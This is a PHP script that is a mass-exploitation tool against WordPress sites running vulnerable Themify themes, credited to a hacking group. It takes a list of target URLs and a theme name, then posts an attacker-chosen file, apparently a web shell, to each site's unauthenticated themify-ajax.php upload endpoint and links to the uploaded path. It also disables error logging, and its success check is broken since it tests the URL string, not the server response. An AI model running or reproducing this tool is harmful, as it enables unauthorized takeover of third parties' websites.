wp themify afu

<?php
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
echo'<html><head><meta content="XPLOIT BY AZZATSSINS CYBERSERKERS" name="description">
<title>!!!- WP THEMIFY AFU -!!!</title></head>
<body bgcolor=silver>
<center>
<form enctype="multipart/form-data" method="POST">
<font color=red>TARGET : </font><br><textarea name="target" placeholder="http://www.target.com/" style="width: 600px; height: 250px; margin: 5px auto; resize: none;"></textarea><br>
<br>
<font color=red>THEMES : </font><select name=themes>
<option value="photobox">PhotoBox</option>
<option value="Elemin">Elemin</option>
<option value="Bloggie">Bloggie</option>
<option value="Tisa">Tisa</option>
<option value="Funki">Funki</option>
<option value="Pinboard">Pinboard</option>
<option value="Folo">Folo</option>
<option value="grido">grido</option>
<option value="Suco">Suco</option>
<option value="iThemes2">iThemes2</option>
<option value="fullpane">fullpane</option>
<option value="simfo">simfo</option>
<option value="rezo">rezo</option>
<option value="bizco">bizco</option>
<option value="minshop">minshop</option>
<option value="themify-landing">themify-landing</option>
<option value="themify-elegant">themify-elegant</option>
<option value="themify-base">themify-base</option>
<option value="themify-corporate">themify-corporate</option>
<option value="themify-music">themify-music</option>
<option value="postline">postline</option>
<option value="newbasic">newbasic</option>
</select></nobr><br><br>
<font color=red>FILE : </font><input name="file" type="file">
<br>
<input name="azx" type="submit" value="Fuck it"></nobr>
<br>
</form>
<br>
';

$themes = $_POST['themes'];
$file = $_POST['file'];
$target = explode("\r\n", $_POST['target']);
if($_POST['azx']) {
foreach($target as $url) {
$path = "/wp-content/themes/".$themes."/themify/themify-ajax.php?upload=1";
$shellpath = "/wp-content/themes/".$themes."/uploads/".$file;
echo '<br>Trying to exploit '.$url.'<br>';
$urlexploit = $url.$path;
$post = array('Filedata'=>"@$file");
$ch = curl_init($urlexploit);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0
(Windows NT 6.1; rv:32.0) Gecko/20100101
Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$hasil= curl_exec ($ch);
curl_close ($ch);
$anu = $url.$shellpath;
if (preg_match("/200 OK/", $anu)){
echo "<a href='".$anu."'>Click Here</a>";
} else { echo "Failed";}
}
}
?>